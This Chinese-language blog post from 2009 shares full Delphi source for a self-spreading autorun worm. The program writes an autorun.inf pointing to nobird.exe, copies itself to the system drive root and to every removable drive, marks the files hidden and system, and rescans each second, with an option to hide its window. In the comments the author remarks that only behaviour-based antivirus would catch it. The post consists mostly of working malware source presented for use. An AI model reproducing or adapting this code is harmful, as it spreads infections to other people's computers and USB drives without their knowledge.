话说这段还是很菜的代码,仅仅是在无保护的机子上实现效果而已。
[code=delphi]
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,Tlhelp32, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
var
s,s1,s2,s3:string;
i:char;
inf:textfile;
var
win: longint;
msg: Tmsg;

implementation

{$R *.dfm}
function GetWinDir: string;
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)] <> '\' then Result := Result + '\';
end;
procedure TForm1.Button1Click(Sender: TObject);
begin

begin
//========================创建autorun.inf文件===================================
begin
s:=ExpandFileName(ParamStr(0)); //获取自身的完整路径
s1:=ExtractFileDir(ParamStr(0))+'\autorun.inf';
FileSetAttr(s,0);
FileSetAttr(s1,0);
assignfile(inf, 'Autorun.inf');
rewrite(inf);
writeln(inf, '[AutoRun]');
writeln(inf, '');
writeln(inf, 'open=nobird.exe');
writeln(inf, 'shell\open=打开(&O)');
writeLn(inf, 'shell\open\Command=nobird.exe');
writeln(inf, 'shell\open\Default=1');
writeln(inf, 'shell\explore=资源管理器(&X)');
writeln(inf, 'shell\explore\Command=nobird.EXE');
closefile(inf);
end;
//=====================================end======================================
//=============================将文件复制到系统盘符下===========================
s2:=copy(getwindir,1,1);
s3:=pchar(s2+':\autorun.inf');
s2:=pchar(s2+':\nobird.exe');
copyfile(pchar(s),pchar(s2),false);
copyfile(pchar(s1),pchar(s3),false);
FileSetAttr(s2,7);
FileSetAttr(s3,7);
//==================================end=========================================
//=============================将文件复制到所有磁盘===========================
for i:='C' to 'Z' do
if GETDRIVETYPE (PChar(i+':\'))=DRIVE_REMOVABLE then
begin
s2:=i;
s3:=pchar(i+':\autorun.inf');
s2:=pchar(s2+':\nobird.exe');
copyfile(pchar(s),pchar(s2),false);
copyfile(pchar(s1),pchar(s3),false);
FileSetAttr(s2,7);
FileSetAttr(s3,7);
end;

//================================end===========================================

end;

begin
//下面的代码在调试的时候最好注释掉,不然你会很郁闷...
win := getforegroundwindow; //获取当前窗体的句柄
//showwindow(win, SW_HIDE); //隐藏窗体
SetTimer(0, 10, 1000, @TForm1.Button1Click); //定时间器,一秒钟扫描一次
while GetMessage(msg, 0, 0, 0) do DispatchMessage(msg);
KillTimer(0, 10);

end;
end;
end.[/code]

  2 Responses to “delphi之autorun(复制自身+循环扫描)”

  1. 一般防毒软件都拦了吧?[GRAVATAR=http://www.birdol.com/]9dac45835fd5633a8627d68516e4617e[/GRAVATAR]

    nobird 于 2009-4-16 16:03:07 回复

    主动防御才会拦这个…呵呵…毕竟生成的程序里面的代码还是很"清白"的

    [GRAVATAR=http://hi1980.com/]d541eaa023b893c3c312ccf9eada14e1[/GRAVATAR]

    wulinfo 于 2009-4-17 11:00:05 回复

    nobird.exe 这还清白呀,我认为在更目录生成exe就已经是危险的操作,更别说autorun.inf,但话说autorun.inf我所有盘都做了免疫

  2. 一直看你写Delphi,难道你们学校要你们学这个?[GRAVATAR=http://www.birdol.com/]9dac45835fd5633a8627d68516e4617e[/GRAVATAR]

    nobird 于 2009-4-16 18:39:47 回复

    没有哦,学校就学过C和51汇编,选修课我选过delphi…(*^__^*)…嘻嘻

    [GRAVATAR=http://hi1980.com/]d541eaa023b893c3c312ccf9eada14e1[/GRAVATAR]

    wulinfo 于 2009-4-17 10:57:07 回复

    delphi确实有点意思,也挺好玩的,不过我对编程兴起不大,自认为无法超越一般人

Sorry, the comment form is closed at this time.

   
© 2011 鸟儿博客 Suffusion theme by Sayontan Sinha